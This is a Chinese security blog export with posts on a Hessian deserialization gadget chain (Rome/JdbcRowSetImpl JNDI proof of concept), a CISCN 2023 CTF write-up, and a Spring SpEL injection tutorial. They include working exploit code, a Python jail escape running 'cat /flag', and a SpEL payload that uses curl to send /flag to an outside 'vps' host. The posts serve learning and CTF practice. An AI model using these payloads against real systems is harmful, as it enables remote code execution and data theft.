class="string">"java\\.lang\\.System"</span>, <span class="literal">false</span>));</span><br><span class="line"> blacklist.add(<span class="keyword">new</span> <span class="title class_">Allow</span>(<span class="string">"java\\.lang\\.Thread"</span>, <span class="literal">false</span>));</span><br><span class="line"> </span><br><span class="line"> _staticAllowList = <span class="keyword">new</span> <span class="title class_">ArrayList</span><Allow>(blacklist);</span><br><span class="line"> </span><br><span class="line"> _staticAllowList.add(<span class="keyword">new</span> <span class="title class_">Allow</span>(<span class="string">"java\\..+"</span>, <span class="literal">true</span>));</span><br><span class="line"> _staticAllowList.add(<span class="keyword">new</span> <span class="title class_">Allow</span>(<span class="string">"javax\\.management\\..+"</span>, <span class="literal">true</span>));</span><br><span class="line"> </span><br><span class="line"> _staticDenyList = <span class="keyword">new</span> <span class="title class_">ArrayList</span><Allow>(blacklist);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>一个静态方法 Allow</p><p>用来控制该类是否为可访问项</p><p>一个匹配模式和 Bool 型返回值</p><p>其中黑名单,0123 分别对应了四种类</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717095930595.png" alt="image-20230717095930595"></p><p>下面那两个就是允许访问的类</p><p>然后遍历四个黑名单均为 false</p><p>遍历完返回 null</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717100438918.png" alt="image-20230717100438918"></p><p>接着就到了 loadDeserializer</p><p>但是上面的类名均不在名单中所以返回都是 null</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717101449995.png" alt="image-20230717101449995"></p><p>该过程中加载了很多个不同的 Deserializer 对应的方法,均 null</p><p>最终在 else 处加载到内容</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717102842527.png" alt="image-20230717102842527"></p><p>接着回到 <code>SerializerFactory.getDeserializer</code></p><p>在 <code>loadDeserializer</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717103231272.png" alt="image-20230717103231272"></p><p>并比对是否在缓存中的该类型反序列化器</p><p>因为加载到了相应的反序列化器,所以就一马平川到了这里</p><p>直接返回了 readMap 的 in,回到开始的 HessianInput 处理流</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717103406461.png" alt="image-20230717103406461"></p><p>也是直接返回内容</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717103440105.png" alt="image-20230717103440105"></p><p>最终走完整个过程</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717103456577.png" alt="image-20230717103456577"></p><h2 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析">#</a> 漏洞分析</h2><p>刚才我们分析序列化工厂这里的 <code>getDeserializer</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717110933721.png" alt="image-20230717110933721"></p><p>代码会将其存储到 <code>_cachedTypeDeserializerMap</code> 中,以便下次相同 <code>type</code> 的请求可以从缓存中直接获取。</p><p>再联想到可以调用任意类的 hashCode ()</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230717111148926.png" alt="image-20230717111148926"></p><p>所以接下来就需要 hashCode () 作为反序列化入口即可</p><h3 id="rome链"><a class="markdownIt-Anchor" href="#rome链">#</a> Rome 链</h3><p>Rome 链,从 TemplatesImpl 的 getter 方法 ->JdbcRowSetImpl 的 getter 方法实现 JNDI 注入</p><p>Gadget</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">* TemplatesImpl.getOutputProperties()</span><br><span class="line">* ToStringBean.toString(String)</span><br><span class="line">* ToStringBean.toString()</span><br><span class="line">* ObjectBean.toString()</span><br><span class="line">* EqualsBean.beanHashCode()</span><br><span class="line">* ObjectBean.hashCode()</span><br><span class="line">* HashMap<K,V>.hash(Object)</span><br><span class="line">* HashMap<K,V>.readObject(ObjectInputStream)</span><br></pre></td></tr></table></figure><p>这是 Rome 链的流程但是在 Hessian 不能使用</p><p>之所以不能用 <code>TemplatesImpl</code> 的这个链子,就是因为 <code>_tfactory</code> 属性是 <code>transient</code> 的,Hessian 的反序列化不像正常的反序列化那样可以调用 readObject,_tfactory 无法处理,为 null 的情况下就不能实现动态加载字节码,所以换成了 <code>JdbcRowSetImpl</code> 的 <code>getter</code> 来实现 JNDI 注入</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.HessianInput;</span><br><span class="line"><span class="keyword">import</span> com.caucho.hessian.io.HessianOutput;</span><br><span class="line"><span class="keyword">import</span> com.sun.syndication.feed.impl.EqualsBean;</span><br><span class="line"><span class="keyword">import</span> com.sun.syndication.feed.impl.ToStringBean;</span><br><span class="line"><span class="keyword">import</span> com.sun.rowset.JdbcRowSetImpl;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Array;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Hessian</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <T> <span class="type">byte</span>[] serialize(T o) <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ByteArrayOutputStream</span> <span class="variable">bao</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">HessianOutput</span> <span class="variable">output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HessianOutput</span>(bao);</span><br><span class="line"> output.writeObject(o);</span><br><span class="line"> System.out.println(bao.toString());</span><br><span class="line"> <span class="keyword">return</span> bao.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <T> T <span class="title function_">deserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ByteArrayInputStream</span> <span class="variable">bai</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"> <span class="type">HessianInput</span> <span class="variable">input</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HessianInput</span>(bai);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> input.readObject();</span><br><span class="line"> <span class="keyword">return</span> (T) o;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(Object obj, String name, Object value)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(name);</span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> field.set(obj, value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">getValue</span><span class="params">(Object obj, String name)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(name);</span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="keyword">return</span> field.get(obj);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">JdbcRowSetImpl</span> <span class="variable">jdbcRowSet</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JdbcRowSetImpl</span>();</span><br><span class="line"> <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">"ldap://127.0.0.1:8085/YbiMqGUd"</span>;</span><br><span class="line"> jdbcRowSet.setDataSourceName(url);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="type">ToStringBean</span> <span class="variable">toStringBean</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ToStringBean</span>(JdbcRowSetImpl.class,jdbcRowSet);</span><br><span class="line"> <span class="type">EqualsBean</span> <span class="variable">equalsBean</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EqualsBean</span>(ToStringBean.class,toStringBean);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//手动生成HashMap,防止提前调用hashcode()</span></span><br><span class="line"> <span class="type">HashMap</span> <span class="variable">hashMap</span> <span class="operator">=</span> makeMap(equalsBean,<span class="string">"1"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">byte</span>[] s = serialize(hashMap);</span><br><span class="line"> System.out.println(s);</span><br><span class="line"> System.out.println((HashMap)deserialize(s));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> HashMap<Object, Object> <span class="title function_">makeMap</span> <span class="params">( Object v1, Object v2 )</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> HashMap<Object, Object> s = <span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> setValue(s, <span class="string">"size"</span>, <span class="number">2</span>);</span><br><span class="line"> Class<?> nodeC;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> nodeC = Class.forName(<span class="string">"java.util.HashMap$Node"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> ( ClassNotFoundException e ) {</span><br><span class="line"> nodeC = Class.forName(<span class="string">"java.util.HashMap$Entry"</span>);</span><br><span class="line"> }</span><br><span class="line"> Constructor<?> nodeCons = nodeC.getDeclaredConstructor(<span class="type">int</span>.class, Object.class, Object.class, nodeC);</span><br><span class="line"> nodeCons.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">Object</span> <span class="variable">tbl</span> <span class="operator">=</span> Array.newInstance(nodeC, <span class="number">2</span>);</span><br><span class="line"> Array.set(tbl, <span class="number">0</span>, nodeCons.newInstance(<span class="number">0</span>, v1, v1, <span class="literal">null</span>));</span><br><span class="line"> Array.set(tbl, <span class="number">1</span>, nodeCons.newInstance(<span class="number">0</span>, v2, v2, <span class="literal">null</span>));</span><br><span class="line"> setValue(s, <span class="string">"table"</span>, tbl);</span><br><span class="line"> <span class="keyword">return</span> s;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/e565a696324cf548233e39f212621a83.png" alt=""></p><p>到这里其实没写完,但是电脑出问题了,后面好了一会把 md 发出来了</p><p>电脑可能是内存不够了,内存直接拉满了一直黑屏,可惜还没到换电脑的时候。。。</p><p>未完成事项都先放到周末吧,唉,第一个周末真的是一言难尽</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>CISCN2023</title>
<link href="/2023/05/28/CISCN_2023/"/>
<url>/2023/05/28/CISCN_2023/</url>
<content type="html"><![CDATA[<h2 id="unzip"><a class="markdownIt-Anchor" href="#unzip">#</a> unzip</h2><p>软链接 通过 var/www/html 包含马</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290005545.png" alt="image-20230529000548874"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290006532.png" alt="image-20230529000609504"></p><p>并通过 var 目录将马放入</p><p>依次上传</p><p>读取 flag</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290006488.png" alt="image-20230529000624465"></p><p 7349cbbd-20da-4b3e-8bd9-36084dac7053="">flag</p><h2 id="pyshell"><a class="markdownIt-Anchor" href="#pyshell">#</a> pyshell</h2><p>Python 的 shell</p><p>导入 os 库查看 flag</p><p>但是被 ban 了</p><p>发现 open 和 eval 还在</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290006386.png" alt="image-20230529000654365"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">但是还ban</span><br><span class="line">猜测可能是对长度有限制</span><br><span class="line"></span><br><span class="line">Welcome to this python shell,<span class="keyword">try</span> to find the flag!</span><br><span class="line">>><span class="string">'__imp'</span></span><br><span class="line"><span class="string">'__imp'</span></span><br><span class="line">>>_+<span class="string">'ort'</span></span><br><span class="line"><span class="string">'__import'</span></span><br><span class="line">>>_+<span class="string">'__('</span></span><br><span class="line"><span class="string">'__import__('</span></span><br><span class="line">>>_+<span class="string">"'os"</span></span><br><span class="line"><span class="string">"__import__('os"</span></span><br><span class="line">>>v</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File <span class="string">"<stdin>"</span>, line <span class="number">1</span>, <span class="keyword">in</span> <module></span><br><span class="line">NameError: name <span class="string">'v'</span> <span class="keyword">is</span> <span class="keyword">not</span> defined</span><br><span class="line">>>_+<span class="string">"')."</span></span><br><span class="line"><span class="string">"__import__('os')."</span></span><br><span class="line">>>_+<span class="string">"sys"</span></span><br><span class="line"><span class="string">"__import__('os').sys"</span></span><br><span class="line">>>_+<span class="string">"tem"</span></span><br><span class="line"><span class="string">"__import__('os').system"</span></span><br><span class="line">>>_+<span class="string">"('c"</span></span><br><span class="line"><span class="string">"__import__('os').system('c"</span></span><br><span class="line">>>_+<span class="string">"at "</span></span><br><span class="line"><span class="string">"__import__('os').system('cat "</span></span><br><span class="line">>>_+<span class="string">"/fl"</span></span><br><span class="line"><span class="string">"__import__('os').system('cat /fl"</span></span><br><span class="line">>>_+<span class="string">"ag'"</span></span><br><span class="line"><span class="string">"__import__('os').system('cat /flag'"</span></span><br><span class="line">>>_+<span class="string">")"</span></span><br><span class="line"><span class="string">"__import__('os').system('cat /flag')"</span></span><br><span class="line">>><span class="built_in">eval</span>(_)</span><br><span class="line">flag{5dd8032d-4dbf-40c2-9ef9-c86386511c7a}<span class="number">0</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290007550.png" alt="image-20230529000712501"></p><p 5dd8032d-4dbf-40c2-9ef9-c86386511c7a="">flag</p><h2 id="backendservice"><a class="markdownIt-Anchor" href="#backendservice">#</a> BackendService</h2><p>登录框</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290007016.png" alt="image-20230529000730982"></p><p>尝试爆破无果</p><p>查找默认密码也不行</p><p>未授权绕过</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290007581.png" alt="image-20230529000739556"></p><p>aa/aa</p><p>进行登录</p><p>新建配置</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290007013.png" alt="image-20230529000750982"></p><p>题目外网 IP 和内网的端口</p><p>监听到内网机器</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290007913.png" alt="image-20230529000758891"></p><p>根据文章</p><p><a href="#toc-3">Nacos 结合 Spring Cloud Gateway RCE 利用 - 先知社区 (aliyun.com)</a></p><p>写 poc</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"spring"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"cloud"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"gateway"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"routes"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"id"</span><span class="punctuation">:</span> <span class="string">"exam"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"order"</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"uri"</span><span class="punctuation">:</span> <span class="string">"lb://service-provider"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"predicates"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="string">"Path=/echo/**"</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"filters"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"AddResponseHeader"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"args"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"result"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"value"</span><span class="punctuation">:</span> <span class="string">"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','vps:5678','-d','@/flag'}).getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">]</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"> <span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305290008663.png" alt="image-20230529000829618"></p><p e1667a09-38d6-4eb8-b38d-20de0f9269a4="">flag</p>]]></content>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>Springboot-Spel表达式注入</title>
<link href="/2023/05/04/Springboot-Spel%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/"/>
<url>/2023/05/04/Springboot-Spel%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/</url>
<content type="html"><![CDATA[<p>[toc]</p><h1 id="0x01-spel表达式基础"><a class="markdownIt-Anchor" href="#0x01-spel表达式基础">#</a> 0x01 SpEL 表达式基础</h1><h3 id="spel简介"><a class="markdownIt-Anchor" href="#spel简介">#</a> SpEL 简介</h3><p>在 Spring 3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。</p><p>在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。</p><p>SpEL 有许多特性:</p><ul><li>使用 Bean 的 ID 来引用 Bean</li><li>可调用方法和访问对象的属性</li><li>可对值进行算数、关系和逻辑运算</li><li>可使用正则表达式进行匹配</li><li>可进行集合操作</li></ul><h3 id="spel定界符"><a class="markdownIt-Anchor" href="#spel定界符">#</a> SpEL 定界符 —— <code>#{}</code></h3><p>SpEL 使用 <code>#{}</code> 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 bean 及其属性和方法等。</p><p>这里需要注意 <code>#{}</code> 和 <code>${}</code> 的区别:</p><ul><li><code>#{}</code> 就是 SpEL 的定界符,用于指明内容通过 SpEL 表达式并执行;</li><li><code>${}</code> 主要用于加载外部属性文件中的值;</li><li>两者可以混合使用,但是必须 <code>#{}</code> 在外面, <code>${}</code> 在里面,如 <code>#{'${}'}</code> ,注意单引号是字符串类型才添加的;</li></ul><h1 id="0x02-环境搭建"><a class="markdownIt-Anchor" href="#0x02-环境搭建">#</a> 0x02 环境搭建</h1><p><a href="https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce">https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce</a></p><p>直接运行</p><p>打开本地 9091 即可</p><p>payload</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="comment">//localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221515517.png" alt="image-20230522151544480"></p><h1 id="0x03-漏洞分析"><a class="markdownIt-Anchor" href="#0x03-漏洞分析">#</a> 0x03 漏洞分析</h1><p>随便打个断点</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221515995.png" alt="image-20230522151557905"></p><p>往下跟进</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221516781.png" alt="image-20230522151611575"></p><p>这里捕获到 web 端的异常信息,判断 <code>targetException</code> 是 <code>RuntimeException</code> 类的对象,将我们输入的内容赋值给了 <code>targetException</code></p><p>经过分支,Throwable 提取保存在堆栈中的错误信息。</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221516718.png" alt="image-20230522151623665"></p><p>后面都是一些无关紧要的。。。</p><p>直接将断点打在</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221516074.png" alt="image-20230522151635974"></p><p>这里是调用 SpEL 解析器来解析上下文内容</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221516935.png" alt="image-20230522151649905"></p><p>可以看到有报错的类,路径,报错类型、输入内容,事件和状态码</p><p>根据上面的信息,我们直接来看 <code>message</code> 即可, <code>timestamp</code> 和 <code>status</code> 可以直接跳过</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221517944.png" alt="image-20230522151707822"></p><p>跟进 <code>getValue</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221517046.png" alt="image-20230522151718932"></p><p>第一步和上面一样,都是调用 SpEL 解析器根据上下文来解析内容</p><p>这里是已经编译了,未 <code>false</code> ,跳过 <code>if</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221517047.png" alt="image-20230522151726835"></p><p>这里利用标准评估上下文对象 StandardEvaluationContext 来对抽象语法树进行解析,实际是一个深度优先搜索的计算过程,最终返回整个表达式的计算结果;</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ExpressionState</span> <span class="variable">expressionState</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ExpressionState</span>(context, <span class="built_in">this</span>.configuration);</span><br><span class="line"><span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> <span class="built_in">this</span>.ast.getValue(expressionState);</span><br><span class="line">checkCompile(expressionState);</span><br><span class="line"><span class="keyword">return</span> result;</span><br></pre></td></tr></table></figure><p>获取输入的内容并调用 <code>toString</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221517570.png" alt="image-20230522151736503"></p><p>接着跟进到这里</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221517379.png" alt="image-20230522151749339"></p><p>其中 <code>placeholder</code> 拿到值 <code>message</code> , <code>proval</code> 为 <code>payload</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221517119.png" alt="image-20230522151758072"></p><p>并调用 <code>StringBuilder</code> 来处理修改我们的 <code>payload</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221518257.png" alt="image-20230522151805129"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">startIndex</span> <span class="operator">=</span> strVal.indexOf(<span class="built_in">this</span>.placeholderPrefix);</span><br></pre></td></tr></table></figure><p>获取 <code>payload</code> 的前缀 <code>${</code></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202305221518906.png" alt="image-20230522151812827"></p><p>进入 <code>while</code> 后,定义了 <code>endIndex</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">endIndex</span> <span class="operator">=</span> findPlaceholderEndIndex(result, startIndex);</span><br></pre></td></tr></table></figure><p>来看下 <code>findPlaceholderEndIndex</code> 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">int</span> <span class="title function_">findPlaceholderEndIndex</span><span class="params">(CharSequence buf, <span class="type">int</span> startIndex)</span> {</span><br><span class="line"><span class="type">int</span> <span class="variable">index</span> <span class="operator">=</span> startIndex + <span class="built_in">this</span>.placeholderPrefix.length();</span><br><span class="line"><span class="type">int</span> <span class="variable">withinNestedPlaceholder</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> (index < buf.length()) {</span><br><span class="line"><span class="keyword">if</span> (StringUtils.substringMatch(buf, index, <span class="built_in">this</span>.placeholderSuffix)) {</span><br><span class="line"><span class="keyword">if</span> (withinNestedPlaceholder > <span class="number">0</span>) {</span><br><span 